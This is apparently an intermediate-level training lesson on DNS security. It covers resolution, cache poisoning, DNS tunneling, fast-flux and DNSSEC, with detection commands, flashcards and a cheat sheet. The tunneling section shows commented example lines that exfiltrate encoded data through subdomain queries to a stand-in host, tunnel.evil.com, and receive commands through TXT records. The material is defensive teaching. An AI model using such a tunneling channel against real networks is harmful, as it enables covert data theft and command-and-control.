How DNS Resolution Works and Where It Breaks
The Phonebook of the Internet — and Its Attack Surface
DNS (Domain Name System) translates human-readable domain names (example.com) into IP addresses (93.184.216.34). It is one of the most critical infrastructure protocols — if DNS fails, the internet appears to be down even though the underlying network is fine. It is also one of the most attacked protocols because it was designed in an era when the internet was a trusted network.
The Resolution Process
When a user types example.com into their browser, the following sequence occurs:
Local cache check: The operating system checks its local DNS cache. If the answer is cached and has not expired (per the TTL), it returns immediately.
Recursive resolver query: If not cached, the OS sends a query to the configured recursive resolver (usually the ISP's resolver or a public resolver like 8.8.8.8 or 1.1.1.1).
Root server query: The recursive resolver queries one of 13 root server clusters (a.root-servers.net through m.root-servers.net) for the authoritative server for the
.comTLD.TLD server query: The recursive resolver queries the
.comTLD server for the authoritative server forexample.com.Authoritative server query: The recursive resolver queries the authoritative server for
example.com, which returns the A record (IPv4 address) or AAAA record (IPv6 address).Response caching: The recursive resolver caches the answer for the TTL duration and returns it to the client.
# Trace the full resolution path
dig +trace example.com
# Query specific record types
dig example.com A
dig example.com AAAA
dig example.com MX
dig example.com TXT
dig example.com NS
# Query a specific resolver
dig @8.8.8.8 example.com
Where Attacks Occur in the Resolution Chain
Each step in the resolution process is a potential attack point:
Attack 1: Local cache poisoning
An attacker with access to the local machine (or network segment) can modify the local DNS cache (e.g., the hosts file on Windows/Linux) to redirect domain lookups to malicious IPs.
# Check the local hosts file for unauthorized entries
# Linux/macOS:
cat /etc/hosts
# Windows:
type C:\Windows\System32\etc\hosts
Attack 2: Resolver compromise
If an attacker compromises the recursive resolver, they can return forged answers for any domain. This affects every user of that resolver.
Attack 3: Cache poisoning (Kaminsky attack)
The attacker floods the recursive resolver with forged responses for a non-existent subdomain (e.g., random123.example.com), hoping to guess the transaction ID and source port before the legitimate response arrives. If successful, the forged answer is cached and returned to all users of that resolver.
Attack 4: Man-in-the-middle on the resolver-to-authoritative path
An attacker who can intercept traffic between the recursive resolver and the authoritative server can forge responses. This is why DNS over TLS (DoT) and DNS over HTTPS (DoH) were developed.
Attack 5: Authoritative server compromise
If the attacker compromises the authoritative DNS server, they can change the IP address for any domain, redirecting all users to malicious servers.
DNS Record Types and Their Security Relevance
| Record Type | Purpose | Security Relevance |
|---|---|---|
| A | IPv4 address | Primary target for redirection attacks |
| AAAA | IPv6 address | Same as A but for IPv6 |
| MX | Mail server | Spoofing MX records redirects email |
| TXT | Text data | Used for SPF, DKIM, DMARC — spoofing enables email fraud |
| NS | Name server | Changing NS records transfers domain control |
| CNAME | Alias | Can be used to redirect traffic |
| SOA | Authority info | Contains admin contact and zone transfer settings |
| PTR | Reverse lookup | Used in email validation |
| SRV | Service location | Can redirect service traffic |
The most security-critical records are A/AAAA (traffic redirection), MX (email redirection), TXT (email authentication bypass), and NS (domain hijacking).
Cache Poisoning, Tunneling, and Fast-Flux
Three Attacks That Exploit DNS Fundamentals
DNS Cache Poisoning (Kaminsky Attack)
In 2008, Dan Kaminsky disclosed a fundamental flaw in DNS that made cache poisoning trivially exploitable. The attack works because:
- DNS uses a 16-bit transaction ID (only 65,536 possible values) for matching responses to queries.
- The source port for queries was traditionally predictable (fixed at the resolver).
- DNS responses are accepted without authentication.
The attack:
1. Attacker sends a query to the victim resolver for a non-existent subdomain:
random12345.example.com
2. The resolver forwards this to the authoritative server for example.com.
3. Attacker floods the resolver with forged responses for random12345.example.com,
each with a different transaction ID and a forged answer pointing to an IP
controlled by the attacker.
4. If the attacker guesses the correct transaction ID before the legitimate
response arrives, the forged answer is cached.
5. The forged answer includes an NS record for example.com pointing to the
attacker's server, so the attacker controls DNS for the entire domain.
Mitigations:
- Source port randomization: Modern resolvers use random source ports, increasing the entropy from 16 bits to approximately 32 bits.
- 0x20 encoding: Randomizing the case of domain names in queries adds additional entropy.
- DNSSEC: Cryptographically signs DNS records so resolvers can detect forged answers.
- Rate limiting: Limiting the rate of queries for non-existent domains.
DNS Tunneling
DNS tunneling encapsulates data within DNS queries and responses, creating a covert communication channel that bypasses most firewalls (which typically allow outbound DNS on port 53).
How it works:
# The attacker sets up an authoritative server for a domain they control,
# e.g., tunnel.evil.com
# Data to exfiltrate is encoded (base64, hex) and split into chunks:
# Chunk 1: dGhpcyBpcyBhIHRlc3Q
# Chunk 2: ofIGRhdGE=
# Each chunk is sent as a subdomain query:
# dGhpcyBpcyBhIHRlc3Q.tunnel.evil.com
# ofIGRhdGE=.tunnel.evil.com
# The attacker's authoritative server receives the queries, decodes the
# subdomains, and reassembles the original data.
# For command-and-control, the response (TXT record) contains commands:
# TXT response: "cmd:whoami"
Detection:
# Analyze DNS query patterns for tunneling indicators:
# 1. Unusually long subdomains
dig tunnel.evil.com | grep -E '^[a-zA-Z0-9]{40,}'
# 2. High volume of queries to a single domain
# 3. Queries for TXT records (rare in normal traffic)
# 4. High entropy in subdomain names (random-looking strings)
# 5. Queries from a single host to many subdomains of the same domain
# Calculate entropy of subdomain names:
python3 -c "
import math
from collections import Counter
def entropy(s):
counts = Counter(s)
length = len(s)
return -sum((c/length) * math.log2(c/length) for c in counts.values())
print(entropy('dGhpcyBpcyBhIHRlc3Q'))
print(entropy('www'))
"
Mitigations:
- Block outbound DNS except to authorized resolvers
- Monitor DNS query volume and entropy per host
- Use DNS filtering to block known tunneling domains
- Implement egress filtering to block direct DNS queries to external servers
Fast-Flux DNS
Fast-flux is a technique used by botnets and phishing operations to hide malicious infrastructure behind a constantly changing set of IP addresses.
Single-flux: The domain name resolves to a different IP address every few minutes. The IPs are compromised hosts (bots) that proxy traffic to the real command-and-control server.
Double-flux: Both the A records (IP addresses) and the NS records (authoritative servers) change rapidly. This makes it even harder to track and shut down the infrastructure.
# Detect fast-flux: query the same domain repeatedly and observe IP changes
for i in $(seq 1 10); do
dig +short example.com
sleep 60
done
# If the IP changes every time, it may be fast-flux
Mitigations:
- Monitor DNS responses for unusually low TTL values (fast-flux uses TTLs of 60-300 seconds)
- Correlate DNS responses with threat intelligence feeds
- Use DNS reputation systems to flag domains with rapidly changing IPs
- Implement domain age checks — newly registered domains with fast-flux behavior are highly suspicious
DNSSEC: Cryptographic Integrity for DNS
DNSSEC (DNS Security Extensions) adds cryptographic signatures to DNS records, allowing resolvers to verify that responses have not been tampered with.
How DNSSEC works:
- The zone owner signs each DNS record with a private key, creating a RRSIG (Resource Record Signature).
- The public key is published in a DNSKEY record.
- A chain of trust is established from the root zone down through TLDs to individual domains using DS (Delegation Signer) records.
- When a resolver receives a DNS response, it verifies the signature using the public key.
- If the signature is invalid, the resolver discards the response.
# Check if a domain has DNSSEC enabled
dig +dnssec example.com
# Verify DNSSEC validation
dig +cd +dnssec example.com
# The 'ad' (authentic data) flag in the response indicates validation succeeded
Limitations of DNSSEC:
- DNSSEC provides integrity and authenticity, not confidentiality — DNS queries and responses are still transmitted in plaintext.
- DNSSEC is complex to deploy and manage, leading to low adoption.
- DNSSEC does not prevent DNS tunneling or fast-flux — it only prevents record forgery.
- DNSSEC increases response sizes, which can be abused for amplification attacks.
Practice Problems
Solution
This is likely DNS tunneling for data exfiltration or command-and-control. The indicators: (1) Unusually long subdomain names — normal subdomains are short (www, mail, api), while tunneling encodes data in subdomains, creating long random-looking strings. (2) High query rate — 50 queries per minute is far above normal DNS traffic for a single host. (3) Newly registered domain — attackers use fresh domains for tunneling infrastructure because they have no reputation history and are not yet blocklisted. (4) High entropy in subdomain names — encoded data appears random. The response would be to block the domain at the DNS resolver, isolate the workstation, and investigate what data may have been exfiltrated or what commands may have been received. Solution
DNSSEC prevents cache poisoning by cryptographically signing DNS records. When a resolver receives a response, it verifies the signature using the public key. If an attacker forges a response, the signature will not match, and the resolver discards it. DNSSEC does not prevent DNS tunneling because tunneling does not forge DNS records — it uses legitimate DNS queries and responses to encode data. The queries are valid DNS requests for subdomains of a domain the attacker controls, and the responses are legitimate TXT records. DNSSEC validates the authenticity of these records but cannot distinguish between legitimate TXT records and TXT records carrying tunneled data. Additional controls needed: (1) DNS query monitoring — detect unusual query patterns (high volume, long subdomains, high entropy). (2) Egress filtering — block direct DNS queries to external servers, forcing all traffic through monitored resolvers. (3) DNS filtering — block queries to known tunneling domains and newly registered domains. (4) Network behavior analysis — detect the periodic, low-and-slow communication pattern typical of tunneling. Quiz
1. In the Kaminsky cache poisoning attack, why does the attacker query a non-existent subdomain rather than the actual domain they want to poison?
2. Why does DNSSEC not prevent DNS tunneling?
3. What is the primary difference between single-flux and double-flux DNS, and why is double-flux harder to mitigate?
Flashcards
Question
What are the steps in DNS resolution from client to authoritative server?
Click to reveal answer
Answer
Local cache → recursive resolver → root server → TLD server → authoritative server. Each step is a potential attack point.
Question
What is the Kaminsky attack and how does it work?
Click to reveal answer
Answer
A DNS cache poisoning attack that exploits the 16-bit transaction ID and predictable source ports. The attacker floods a resolver with forged responses for a non-existent subdomain, hoping to guess the transaction ID before the legitimate response arrives.
Question
What is DNS tunneling and how is it detected?
Click to reveal answer
Answer
Encapsulating data within DNS queries and responses to create a covert channel. Detected by monitoring for: unusually long subdomains, high query volume, high entropy in subdomain names, excessive TXT record queries, and queries to newly registered domains.
Question
What is fast-flux DNS?
Click to reveal answer
Answer
A technique where a domain's A records (and optionally NS records) change every few minutes, pointing to different compromised hosts. Used to hide botnet command-and-control infrastructure. Detected by monitoring for low TTL values and rapidly changing IP addresses.
Question
What does DNSSEC provide and what does it not provide?
Click to reveal answer
Answer
DNSSEC provides integrity and authenticity through cryptographic signatures on DNS records, preventing cache poisoning and record forgery. It does not provide confidentiality (queries are still plaintext) and does not prevent DNS tunneling or fast-flux.
Question
Which DNS record types are most security-critical and why?
Click to reveal answer
Answer
A/AAAA (traffic redirection), MX (email redirection), TXT (email authentication via SPF/DKIM/DMARC), and NS (domain hijacking). Changing any of these can redirect traffic, intercept email, or transfer domain control.
Revision Notes
Key Takeaways
- 1. DNS resolution involves multiple servers — each is a potential attack point
- 2. Cache poisoning exploits the 16-bit transaction ID; mitigated by source port randomization and DNSSEC
- 3. DNS tunneling encodes data in legitimate queries — detected by entropy analysis and query pattern monitoring
- 4. Fast-flux hides C2 infrastructure behind rapidly changing IP addresses and NS records
- 5. DNSSEC provides integrity and authenticity but not confidentiality, and does not prevent tunneling
- 6. The most security-critical DNS records are A/AAAA, MX, TXT, and NS
Interview Tips
- • Be ready to walk through the full DNS resolution process and identify where each attack occurs
- • Explain the Kaminsky attack in detail — this is a classic interview question
- • Discuss how you would detect DNS tunneling in a corporate network using query logs and entropy analysis
- • Be prepared to explain why DNSSEC is necessary despite its complexity and low adoption
- • Connect DNS security to incident response — DNS logs are often the first indicator of compromise
Cheat Sheet
DNS Security Deep Dive Cheat Sheet
Phase: Networking for Security | Level: intermediate
DNS Resolution Chain:
Local cache → recursive resolver → root server → TLD server → authoritative server
Attack Points in Resolution:
- Local cache poisoning (hosts file modification)
- Resolver compromise
- Cache poisoning (Kaminsky attack)
- MITM on resolver-to-authoritative path
- Authoritative server compromise
Key Attacks:
- Cache poisoning: Forge DNS responses by guessing transaction ID. Mitigated by source port randomization, DNSSEC.
- DNS tunneling: Encode data in DNS queries/responses. Detected by long subdomains, high volume, high entropy, TXT record abuse.
- Fast-flux: Rapidly changing A/NS records to hide C2 infrastructure. Detected by low TTLs, changing IPs.
DNSSEC:
- Provides integrity and authenticity (not confidentiality)
- Signs records with RRSIG, chain of trust via DS records
- Prevents cache poisoning, does NOT prevent tunneling or fast-flux
Security-Critical Records:
- A/AAAA → traffic redirection
- MX → email redirection
- TXT → email authentication (SPF/DKIM/DMARC)
- NS → domain hijacking
Detection Commands:
dig +trace example.com # Full resolution path
dig +dnssec example.com # Check DNSSEC
# Monitor: query volume, subdomain entropy, TTL values, domain age
Continue Learning
Before You Start
- No prerequisites listed.